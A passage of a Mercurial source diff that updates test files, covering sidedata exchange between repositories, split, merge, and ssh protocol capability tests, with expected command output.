../sidedata-target debugsidedata -m 0 + $ hg -R ../sidedata-target debugsidedata -m 1 -v + $ hg -R ../sidedata-target debugsidedata a 0 + $ hg -R ../sidedata-target debugsidedata a 1 -v + $ cd .. + +Pulled has sidedata enabled, puller does not +-------------------------------------------- + + $ rm -rf sidedata-source sidedata-target + $ hg init sidedata-source --config format.exp-use-side-data=yes + $ cat << EOF >> sidedata-source/.hg/hgrc + > [extensions] + > testsidedata=$TESTDIR/testlib/ext-sidedata-5.py + > EOF + $ hg init sidedata-target --config format.exp-use-side-data=no + $ cd sidedata-source + $ echo a > a + $ echo b > b + $ echo c > c + $ hg commit -Am "initial" + adding a + adding b + adding c + $ echo aa > a + $ hg commit -m "other" + $ hg pull -R ../sidedata-target ../sidedata-source + pulling from ../sidedata-source + requesting all changes + adding changesets + adding manifests + adding file changes + added 2 changesets with 4 changes to 3 files + new changesets 05da661850d7:7ec8b4049447 + (run 'hg update' to get a working copy) + $ hg -R ../sidedata-target log -G + o changeset: 1:7ec8b4049447 + | tag: tip + | user: test + | date: Thu Jan 01 00:00:00 1970 +0000 + | summary: other + | + o changeset: 0:05da661850d7 + user: test + date: Thu Jan 01 00:00:00 1970 +0000 + summary: initial + + + $ hg -R ../sidedata-target debugsidedata -c 0 + $ hg -R ../sidedata-target debugsidedata -c 1 -v + $ hg -R ../sidedata-target debugsidedata -m 0 + $ hg -R ../sidedata-target debugsidedata -m 1 -v + $ hg -R ../sidedata-target debugsidedata a 0 + $ hg -R ../sidedata-target debugsidedata a 1 -v + $ cd .. + + +Check sidedata exchange with on-the-fly generation and removal +============================================================== + +(Push) Target has strict superset of the source +----------------------------------------------- + + $ hg init source-repo --config format.exp-use-side-data=yes + $ hg init target-repo --config format.exp-use-side-data=yes + $ cat << EOF >> target-repo/.hg/hgrc + > [extensions] + > testsidedata=$TESTDIR/testlib/ext-sidedata.py + > EOF + $ cd source-repo + $ echo aaa > a + $ hg add a + $ hg commit -m a + $ echo aaa > b + $ hg add b + $ hg commit -m b + $ echo xxx >> a + $ hg commit -m aa + +No sidedata is generated in the source + $ hg debugsidedata -c 0 + +Check that sidedata capabilities are advertised + $ hg debugcapabilities ../target-repo | grep sidedata + exp-wanted-sidedata=1,2 + +We expect the client to abort the push since it's not capable of generating +what the server is asking + $ hg push -r . ../target-repo + pushing to ../target-repo + abort: cannot push: required sidedata category not supported by this client: '1' + [255] + +Add the required capabilities + $ cat << EOF >> .hg/hgrc + > [extensions] + > testsidedata2=$TESTDIR/testlib/ext-sidedata-2.py + > EOF + +We expect the target to have sidedata that was generated by the source on push + $ hg push -r . ../target-repo + pushing to ../target-repo + searching for changes + adding changesets + adding manifests + adding file changes + added 3 changesets with 3 changes to 2 files + $ cd ../target-repo + $ hg debugsidedata -c 0 + 2 sidedata entries + entry-0001 size 4 + entry-0002 size 32 + $ hg debugsidedata -c 1 -v + 2 sidedata entries + entry-0001 size 4 + '\x00\x00\x006' + entry-0002 size 32 + '\x98\t\xf9\xc4v\xf0\xc5P\x90\xf7wRf\xe8\xe27e\xfc\xc1\x93\xa4\x96\xd0\x1d\x97\xaaG\x1d\xd7t\xfa\xde' + $ hg debugsidedata -m 2 + 2 sidedata entries + entry-0001 size 4 + entry-0002 size 32 + $ hg debugsidedata a 1 + 2 sidedata entries + entry-0001 size 4 + entry-0002 size 32 + $ cd .. + +(Push) Difference is not subset/superset +---------------------------------------- + +Source has one in common, one missing and one more sidedata category with the +target. + + $ rm -rf source-repo target-repo + $ hg init source-repo --config format.exp-use-side-data=yes + $ cat << EOF >> source-repo/.hg/hgrc + > [extensions] + > testsidedata3=$TESTDIR/testlib/ext-sidedata-3.py + > EOF + $ hg init target-repo --config format.exp-use-side-data=yes + $ cat << EOF >> target-repo/.hg/hgrc + > [extensions] + > testsidedata4=$TESTDIR/testlib/ext-sidedata-4.py + > EOF + $ cd source-repo + $ echo aaa > a + $ hg add a + $ hg commit -m a + $ echo aaa > b + $ hg add b + $ hg commit -m b + $ echo xxx >> a + $ hg commit -m aa + +Check that sidedata capabilities are advertised + $ hg debugcapabilities . | grep sidedata + exp-wanted-sidedata=1,2 + $ hg debugcapabilities ../target-repo | grep sidedata + exp-wanted-sidedata=2,3 + +Sidedata is generated in the source, but only the right categories (entry-0001 and entry-0002) + $ hg debugsidedata -c 0 + 2 sidedata entries + entry-0001 size 4 + entry-0002 size 32 + $ hg debugsidedata -c 1 -v + 2 sidedata entries + entry-0001 size 4 + '\x00\x00\x006' + entry-0002 size 32 + '\x98\t\xf9\xc4v\xf0\xc5P\x90\xf7wRf\xe8\xe27e\xfc\xc1\x93\xa4\x96\xd0\x1d\x97\xaaG\x1d\xd7t\xfa\xde' + $ hg debugsidedata -m 2 + 2 sidedata entries + entry-0001 size 4 + entry-0002 size 32 + $ hg debugsidedata a 1 + 2 sidedata entries + entry-0001 size 4 + entry-0002 size 32 + + +We expect the target to have sidedata that was generated by the source on push, +and also removed the sidedata categories that are not supported by the target. +Namely, we expect entry-0002 (only exchanged) and entry-0003 (generated), +but not entry-0001. + + $ hg push -r . ../target-repo --traceback + pushing to ../target-repo + searching for changes + adding changesets + adding manifests + adding file changes + added 3 changesets with 3 changes to 2 files + $ cd ../target-repo + $ hg log -G + o changeset: 2:40f977031323 + | tag: tip + | user: test + | date: Thu Jan 01 00:00:00 1970 +0000 + | summary: aa + | + o changeset: 1:2707720c6597 + | user: test + | date: Thu Jan 01 00:00:00 1970 +0000 + | summary: b + | + o changeset: 0:7049e48789d7 + user: test + date: Thu Jan 01 00:00:00 1970 +0000 + summary: a + + $ hg debugsidedata -c 0 + 2 sidedata entries + entry-0002 size 32 + entry-0003 size 48 + $ hg debugsidedata -c 1 -v + 2 sidedata entries + entry-0002 size 32 + '\x98\t\xf9\xc4v\xf0\xc5P\x90\xf7wRf\xe8\xe27e\xfc\xc1\x93\xa4\x96\xd0\x1d\x97\xaaG\x1d\xd7t\xfa\xde' + entry-0003 size 48 + '\x87\xcf\xdfI/\xb5\xed\xeaC\xc1\xf0S\xf3X\x1c\xcc\x00m\xee\xe6#\xc1\xe3\xcaB8Fk\x82e\xfc\xc01\xf6\xb7\xb9\xb3([\xf6D\xa6\xcf\x9b\xea\x11{\x08' + $ hg debugsidedata -m 2 + 2 sidedata entries + entry-0002 size 32 + entry-0003 size 48 + $ hg debugsidedata a 1 + 2 sidedata entries + entry-0002 size 32 + entry-0003 size 48 + $ cd .. + +(Pull) Target has strict superset of the source +----------------------------------------------- + + $ rm -rf source-repo target-repo + $ hg init source-repo --config format.exp-use-side-data=yes + $ hg init target-repo --config format.exp-use-side-data=yes + $ cat << EOF >> target-repo/.hg/hgrc + > [extensions] + > testsidedata=$TESTDIR/testlib/ext-sidedata.py + > EOF + $ cd source-repo + $ echo aaa > a + $ hg add a + $ hg commit -m a + $ echo aaa > b + $ hg add b + $ hg commit -m b + $ echo xxx >> a + $ hg commit -m aa + +No sidedata is generated in the source + $ hg debugsidedata -c 0 + +Check that sidedata capabilities are advertised + $ hg debugcapabilities ../target-repo | grep sidedata + exp-wanted-sidedata=1,2 + + $ cd ../target-repo + +Add the required capabilities + $ cat << EOF >> .hg/hgrc + > [extensions] + > testsidedata2=$TESTDIR/testlib/ext-sidedata-2.py + > EOF + +We expect the target to have sidedata that it generated on-the-fly during pull + $ hg pull -r . ../source-repo --traceback + pulling from ../source-repo + adding changesets + adding manifests + adding file changes + added 3 changesets with 3 changes to 2 files + new changesets 7049e48789d7:40f977031323 + (run 'hg update' to get a working copy) + $ hg debugsidedata -c 0 --traceback + 2 sidedata entries + entry-0001 size 4 + entry-0002 size 32 + $ hg debugsidedata -c 1 -v --traceback + 2 sidedata entries + entry-0001 size 4 + '\x00\x00\x006' + entry-0002 size 32 + '\x98\t\xf9\xc4v\xf0\xc5P\x90\xf7wRf\xe8\xe27e\xfc\xc1\x93\xa4\x96\xd0\x1d\x97\xaaG\x1d\xd7t\xfa\xde' + $ hg debugsidedata -m 2 + 2 sidedata entries + entry-0001 size 4 + entry-0002 size 32 + $ hg debugsidedata a 1 + 2 sidedata entries + entry-0001 size 4 + entry-0002 size 32 + $ cd .. diff -r bc268ea9f984 -r f67b8946bb1b tests/test-sidedata.t --- a/tests/test-sidedata.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-sidedata.t Tue Apr 20 11:01:06 2021 -0400 @@ -56,11 +56,13 @@ generaldelta: yes yes yes share-safe: no no no sparserevlog: yes yes yes - sidedata: no no no - persistent-nodemap: no no no + persistent-nodemap: no no no (no-rust !) + persistent-nodemap: yes yes no (rust !) copies-sdc: no no no + revlog-v2: no no no plain-cl-delta: yes yes yes - compression: zlib zlib zlib + compression: zlib zlib zlib (no-zstd !) + compression: zstd zstd zstd (zstd !) compression-level: default default default $ hg debugformat -v -R up-no-side-data --config format.exp-use-side-data=yes format-variant repo config default @@ -69,11 +71,13 @@ generaldelta: yes yes yes share-safe: no no no sparserevlog: yes yes yes - sidedata: no yes no - persistent-nodemap: no no no + persistent-nodemap: no no no (no-rust !) + persistent-nodemap: yes yes no (rust !) copies-sdc: no no no + revlog-v2: no yes no plain-cl-delta: yes yes yes - compression: zlib zlib zlib + compression: zlib zlib zlib (no-zstd !) + compression: zstd zstd zstd (zstd !) compression-level: default default default $ hg debugupgraderepo -R up-no-side-data --config format.exp-use-side-data=yes > /dev/null @@ -88,11 +92,13 @@ generaldelta: yes yes yes share-safe: no no no sparserevlog: yes yes yes - sidedata: yes no no - persistent-nodemap: no no no + persistent-nodemap: no no no (no-rust !) + persistent-nodemap: yes yes no (rust !) copies-sdc: no no no + revlog-v2: yes no no plain-cl-delta: yes yes yes - compression: zlib zlib zlib + compression: zlib zlib zlib (no-zstd !) + compression: zstd zstd zstd (zstd !) compression-level: default default default $ hg debugformat -v -R up-side-data --config format.exp-use-side-data=no format-variant repo config default @@ -101,10 +107,12 @@ generaldelta: yes yes yes share-safe: no no no sparserevlog: yes yes yes - sidedata: yes no no - persistent-nodemap: no no no + persistent-nodemap: no no no (no-rust !) + persistent-nodemap: yes yes no (rust !) copies-sdc: no no no + revlog-v2: yes no no plain-cl-delta: yes yes yes - compression: zlib zlib zlib + compression: zlib zlib zlib (no-zstd !) + compression: zstd zstd zstd (zstd !) compression-level: default default default $ hg debugupgraderepo -R up-side-data --config format.exp-use-side-data=no > /dev/null diff -r bc268ea9f984 -r f67b8946bb1b tests/test-simplemerge.py --- a/tests/test-simplemerge.py Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-simplemerge.py Tue Apr 20 11:01:06 2021 -0400 @@ -141,8 +141,6 @@ """No conflicts because nothing changed""" m3 = Merge3([b'aaa', b'bbb'], [b'aaa', b'bbb'], [b'aaa', b'bbb']) - self.assertEqual(m3.find_unconflicted(), [(0, 2)]) - self.assertEqual( list(m3.find_sync_regions()), [(0, 2, 0, 2, 0, 2), (2, 2, 2, 2, 2, 2)], @@ -189,8 +187,6 @@ [b'aaa', b'bbb'], [b'aaa', b'111', b'bbb'], [b'aaa', b'bbb'] ) - self.assertEqual(m3.find_unconflicted(), [(0, 1), (1, 2)]) - self.assertEqual( list(m3.find_sync_regions()), [(0, 1, 0, 1, 0, 1), (1, 2, 2, 3, 1, 2), (2, 2, 3, 3, 2, 2)], @@ -271,8 +267,6 @@ [b'aaa\n', b'222\n', b'bbb\n'], ) - self.assertEqual(m3.find_unconflicted(), [(0, 1), (1, 2)]) - self.assertEqual( list(m3.find_sync_regions()), [(0, 1, 0, 1, 0, 1), (1, 2, 2, 3, 2, 3), (2, 2, 3, 3, 3, 3)], @@ -323,8 +317,6 @@ [b'aaa', b'222', b'bbb'], ) - self.assertEqual(m3.find_unconflicted(), [(0, 1), (2, 3)]) - self.assertEqual( list(m3.find_sync_regions()), [(0, 1, 0, 1, 0, 1), (2, 3, 2, 3, 2, 3), (3, 3, 3, 3, 3, 3)], @@ -338,8 +330,6 @@ [b'aaa', b'222', b'222', b'222', b'222', b'bbb'], ) - self.assertEqual(m3.find_unconflicted(), [(0, 1), (3, 4)]) - self.assertEqual( list(m3.find_sync_regions()), [(0, 1, 0, 1, 0, 1), (3, 4, 4, 5, 5, 6), (4, 4, 5, 5, 6, 6)], diff -r bc268ea9f984 -r f67b8946bb1b tests/test-sparse-requirement.t --- a/tests/test-sparse-requirement.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-sparse-requirement.t Tue Apr 20 11:01:06 2021 -0400 @@ -20,6 +20,8 @@ dotencode fncache generaldelta + persistent-nodemap (rust !) + revlog-compression-zstd (zstd !) revlogv1 sparserevlog store @@ -38,6 +40,8 @@ exp-sparse fncache generaldelta + persistent-nodemap (rust !) + revlog-compression-zstd (zstd !) revlogv1 sparserevlog store @@ -57,6 +61,8 @@ dotencode fncache generaldelta + persistent-nodemap (rust !) + revlog-compression-zstd (zstd !) revlogv1 sparserevlog store diff -r bc268ea9f984 -r f67b8946bb1b tests/test-split.t --- a/tests/test-split.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-split.t Tue Apr 20 11:01:06 2021 -0400 @@ -1046,3 +1046,101 @@ [ ui.warning|rollback completed] [ ui.error|abort: empty commit message] [10] + +Test that creating an empty split or "no-op" +(identical to original) commit doesn't cause chaos +-------------------------------------------------- + + $ hg init $TESTTMP/noop + $ cd $TESTTMP/noop + $ echo r0 > r0 + $ hg ci -qAm r0 + $ hg phase -p + $ echo foo > foo + $ hg ci -qAm foo + $ hg log -G -T'{phase} {rev}:{node|short} {desc}' + @ draft 1:ae694b2901bb foo + | + o public 0:222799e2f90b r0 + + $ printf 'd\na\n' | HGEDITOR=cat hg split || true + diff --git a/foo b/foo + new file mode 100644 + examine changes to 'foo'? + (enter ? for help) [Ynesfdaq?] d + + no changes to record + diff --git a/foo b/foo + new file mode 100644 + examine changes to 'foo'? + (enter ? for help) [Ynesfdaq?] a + + HG: Splitting ae694b2901bb. Write commit message for the first split changeset. + foo + + + HG: Enter commit message. Lines beginning with 'HG:' are removed. + HG: Leave message empty to abort commit. + HG: -- + HG: user: test + HG: branch 'default' + HG: added foo + warning: commit already existed in the repository! + $ hg log -G -T'{phase} {rev}:{node|short} {desc}' + @ draft 1:ae694b2901bb foo + | + o public 0:222799e2f90b r0 + + +Now try the same thing but modifying the message so we don't trigger the +identical changeset failures + + $ hg init $TESTTMP/noop2 + $ cd $TESTTMP/noop2 + $ echo r0 > r0 + $ hg ci -qAm r0 + $ hg phase -p + $ echo foo > foo + $ hg ci -qAm foo + $ hg log -G -T'{phase} {rev}:{node|short} {desc}' + @ draft 1:ae694b2901bb foo + | + o public 0:222799e2f90b r0 + + $ cat > $TESTTMP/messages < message1 + > EOF + $ printf 'd\na\n' | HGEDITOR="\"$PYTHON\" $TESTTMP/editor.py" hg split + diff --git a/foo b/foo + new file mode 100644 + examine changes to 'foo'? + (enter ? for help) [Ynesfdaq?] d + + no changes to record + diff --git a/foo b/foo + new file mode 100644 + examine changes to 'foo'? + (enter ? for help) [Ynesfdaq?] a + + EDITOR: HG: Splitting ae694b2901bb. Write commit message for the first split changeset. + EDITOR: foo + EDITOR: + EDITOR: + EDITOR: HG: Enter commit message. Lines beginning with 'HG:' are removed. + EDITOR: HG: Leave message empty to abort commit. + EDITOR: HG: -- + EDITOR: HG: user: test + EDITOR: HG: branch 'default' + EDITOR: HG: added foo + created new head + saved backup bundle to $TESTTMP/noop2/.hg/strip-backup/ae694b2901bb-28e0b457-split.hg (obsstore-off !) + $ hg log -G -T'{phase} {rev}:{node|short} {desc}' + @ draft 1:de675559d3f9 message1 (obsstore-off !) + @ draft 2:de675559d3f9 message1 (obsstore-on !) + | + o public 0:222799e2f90b r0 + +#if obsstore-on + $ hg debugobsolete + ae694b2901bb8b0f8c4b5e075ddec0d63468d57a de675559d3f93ffc822c6eb7490e5c73033f17c7 0 * (glob) +#endif diff -r bc268ea9f984 -r f67b8946bb1b tests/test-sqlitestore.t --- a/tests/test-sqlitestore.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-sqlitestore.t Tue Apr 20 11:01:06 2021 -0400 @@ -17,6 +17,8 @@ dotencode fncache generaldelta + persistent-nodemap (rust !) + revlog-compression-zstd (zstd !) revlogv1 sparserevlog store @@ -31,6 +33,8 @@ exp-sqlite-comp-001=$BUNDLE2_COMPRESSIONS$ (no-zstd !) fncache generaldelta + persistent-nodemap (rust !) + revlog-compression-zstd (zstd !) revlogv1 sparserevlog store @@ -49,6 +53,8 @@ exp-sqlite-comp-001=$BUNDLE2_COMPRESSIONS$ fncache generaldelta + persistent-nodemap (rust !) + revlog-compression-zstd (zstd !) revlogv1 sparserevlog store @@ -62,6 +68,8 @@ exp-sqlite-comp-001=none fncache generaldelta + persistent-nodemap (rust !) + revlog-compression-zstd (zstd !) revlogv1 sparserevlog store diff -r bc268ea9f984 -r f67b8946bb1b tests/test-ssh-batch.t --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/tests/test-ssh-batch.t Tue Apr 20 11:01:06 2021 -0400 @@ -0,0 +1,15 @@ + $ hg init a + $ cd a + $ touch a; hg commit -qAm_ + $ hg bookmark $(for i in $($TESTDIR/seq.py 0 20); do echo b$i; done) + $ hg clone . ../b -q + $ cd ../b + +Checking that when lookup multiple bookmarks in one go, if one of them +fails (thus causing the sshpeer to be stopped), the errors from the +further lookups don't result in tracebacks. + + $ hg pull -r b0 -r nosuchbookmark $(for i in $($TESTDIR/seq.py 1 20); do echo -r b$i; done) -e "\"$PYTHON\" \"$TESTDIR/dummyssh\"" ssh://user@dummy/$(pwd)/../a + pulling from ssh://user@dummy/$TESTTMP/b/../a + abort: unknown revision 'nosuchbookmark' + [255] diff -r bc268ea9f984 -r f67b8946bb1b tests/test-ssh-bundle1.t --- a/tests/test-ssh-bundle1.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-ssh-bundle1.t Tue Apr 20 11:01:06 2021 -0400 @@ -72,8 +72,10 @@ $ hg clone -e "\"$PYTHON\" \"$TESTDIR/dummyssh\"" --stream ssh://user@dummy/remote local-stream streaming all changes - 4 files to transfer, 602 bytes of data - transferred 602 bytes in * seconds (*) (glob) + 4 files to transfer, 602 bytes of data (no-zstd !) + transferred 602 bytes in * seconds (*) (glob) (no-zstd !) + 4 files to transfer, 621 bytes of data (zstd !) + transferred 621 bytes in * seconds (* */sec) (glob) (zstd !) searching for changes no changes found updating to branch default @@ -94,8 +96,10 @@ $ hg -R local-stream book mybook $ hg clone -e "\"$PYTHON\" \"$TESTDIR/dummyssh\"" --stream ssh://user@dummy/local-stream stream2 streaming all changes - 4 files to transfer, 602 bytes of data - transferred 602 bytes in * seconds (*) (glob) + 4 files to transfer, 602 bytes of data (no-zstd !) + transferred 602 bytes in * seconds (*) (glob) (no-zstd !) + 4 files to transfer, 621 bytes of data (zstd !) + transferred 621 bytes in * seconds (* */sec) (glob) (zstd !) searching for changes no changes found updating to branch default @@ -482,9 +486,11 @@ sending upgrade request: * proto=exp-ssh-v2-0003 (glob) (sshv2 !) sending hello command sending between command - remote: 463 (sshv1 !) + remote: 444 (sshv1 no-rust !) + remote: 463 (sshv1 rust !) protocol upgraded to exp-ssh-v2-0003 (sshv2 !) - remote: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1,sparserevlog unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash + remote: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1,sparserevlog unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash (no-rust !) + remote: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,persistent-nodemap,revlogv1,sparserevlog unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash (rust !) remote: 1 (sshv1 !) sending protocaps command preparing listkeys for "bookmarks" diff -r bc268ea9f984 -r f67b8946bb1b tests/test-ssh-proto-unbundle.t --- a/tests/test-ssh-proto-unbundle.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-ssh-proto-unbundle.t Tue Apr 20 11:01:06 2021 -0400 @@ -1,3 +1,10 @@ +persistent-nodemap is not enabled by default. It is not relevant for this test so disable it. + + $ cat << EOF >> $HGRCPATH + > [format] + > use-persistent-nodemap = no + > EOF + $ cat > hgrc-sshv2 << EOF > %include $HGRCPATH > [experimental] @@ -56,8 +63,8 @@ i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 i> flush() -> None o> readline() -> 4: - o> 463\n - o> readline() -> 463: + o> 444\n + o> readline() -> 444: o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1,sparserevlog unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n o> readline() -> 2: o> 1\n @@ -109,8 +116,8 @@ o> readline() -> 62: o> upgraded * exp-ssh-v2-0003\n (glob) o> readline() -> 4: - o> 462\n - o> read(462) -> 462: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1,sparserevlog unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash + o> 443\n + o> read(443) -> 443: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1,sparserevlog unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash o> read(1) -> 1: o> \n sending unbundle command @@ -235,8 +242,8 @@ i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 i> flush() -> None o> readline() -> 4: - o> 463\n - o> readline() -> 463: + o> 444\n + o> readline() -> 444: o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1,sparserevlog unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n o> readline() -> 2: o> 1\n @@ -293,8 +300,8 @@ o> readline() -> 62: o> upgraded * exp-ssh-v2-0003\n (glob) o> readline() -> 4: - o> 462\n - o> read(462) -> 462: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1,sparserevlog unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash + o> 443\n + o> read(443) -> 443: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1,sparserevlog unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash o> read(1) -> 1: o> \n sending unbundle command @@ -359,8 +366,8 @@ i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 i> flush() -> None o> readline() -> 4: - o> 463\n - o> readline() -> 463: + o> 444\n + o> readline() -> 444: o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1,sparserevlog unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n o> readline() -> 2: o> 1\n @@ -418,8 +425,8 @@ o> readline() -> 62: o> upgraded * exp-ssh-v2-0003\n (glob) o> readline() -> 4: - o> 462\n - o> read(462) -> 462: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1,sparserevlog unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash + o> 443\n + o> read(443) -> 443: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1,sparserevlog unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash o> read(1) -> 1: o> \n sending unbundle command @@ -485,8 +492,8 @@ i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 i> flush() -> None o> readline() -> 4: - o> 463\n - o> readline() -> 463: + o> 444\n + o> readline() -> 444: o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1,sparserevlog unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n o> readline() -> 2: o> 1\n @@ -543,8 +550,8 @@ o> readline() -> 62: o> upgraded * exp-ssh-v2-0003\n (glob) o> readline() -> 4: - o> 462\n - o> read(462) -> 462: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1,sparserevlog unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash + o> 443\n + o> read(443) -> 443: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1,sparserevlog unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash o> read(1) -> 1: o> \n sending unbundle command @@ -609,8 +616,8 @@ i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 i> flush() -> None o> readline() -> 4: - o> 463\n - o> readline() -> 463: + o> 444\n + o> readline() -> 444: o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1,sparserevlog unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n o> readline() -> 2: o> 1\n @@ -668,8 +675,8 @@ o> readline() -> 62: o> upgraded * exp-ssh-v2-0003\n (glob) o> readline() -> 4: - o> 462\n - o> read(462) -> 462: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1,sparserevlog unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash + o> 443\n + o> read(443) -> 443: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1,sparserevlog unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash o> read(1) -> 1: o> \n sending unbundle command @@ -735,8 +742,8 @@ i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 i> flush() -> None o> readline() -> 4: - o> 463\n - o> readline() -> 463: + o> 444\n + o> readline() -> 444: o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1,sparserevlog unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n o> readline() -> 2: o> 1\n @@ -796,8 +803,8 @@ o> readline() -> 62: o> upgraded * exp-ssh-v2-0003\n (glob) o> readline() -> 4: - o> 462\n - o> read(462) -> 462: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1,sparserevlog unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash + o> 443\n + o> read(443) -> 443: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1,sparserevlog unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash o> read(1) -> 1: o> \n sending unbundle command @@ -865,8 +872,8 @@ i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 i> flush() -> None o> readline() -> 4: - o> 463\n - o> readline() -> 463: + o> 444\n + o> readline() -> 444: o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1,sparserevlog unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n o> readline() -> 2: o> 1\n @@ -923,8 +930,8 @@ o> readline() -> 62: o> upgraded * exp-ssh-v2-0003\n (glob) o> readline() -> 4: - o> 462\n - o> read(462) -> 462: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1,sparserevlog unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash + o> 443\n + o> read(443) -> 443: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1,sparserevlog unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash o> read(1) -> 1: o> \n sending unbundle command @@ -989,8 +996,8 @@ i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 i> flush() -> None o> readline() -> 4: - o> 463\n - o> readline() -> 463: + o> 444\n + o> readline() -> 444: o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1,sparserevlog unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n o> readline() -> 2: o> 1\n @@ -1050,8 +1057,8 @@ o> readline() -> 62: o> upgraded * exp-ssh-v2-0003\n (glob) o> readline() -> 4: - o> 462\n - o> read(462) -> 462: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1,sparserevlog unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash + o> 443\n + o> read(443) -> 443: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1,sparserevlog unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash o> read(1) -> 1: o> \n sending unbundle command @@ -1119,8 +1126,8 @@ i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 i> flush() -> None o> readline() -> 4: - o> 463\n - o> readline() -> 463: + o> 444\n + o> readline() -> 444: o> capabilities: batch branchmap 